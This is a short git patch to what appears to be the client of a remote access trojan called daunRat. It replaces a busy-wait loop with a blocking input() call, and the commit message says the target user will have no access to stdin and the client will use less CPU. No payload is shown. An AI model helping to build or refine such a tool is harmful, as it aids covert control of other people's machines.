From 6c5aedfde2e601e66bb472fa6f53999557fac647 Mon Sep 17 00:00:00 2001 From: BarsTiger Date: Wed, 18 May 2022 16:30:40 +0300 Subject: [PATCH] replaced while True with input user won't have access to stdin, so it's safe, but doesn't use so much CPU --- client/daunRat.py | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/client/daunRat.py b/client/daunRat.py index d280358..3df83d6 100644 --- a/client/daunRat.py +++ b/client/daunRat.py @@ -74,5 +74,4 @@ if __name__ == '__main__': print("daunRat by ANONYMUSSSS") receiver.connection.bind('pusher:connection_established', handle_connection_to_server) receiver.connect() - while True: - pass + input()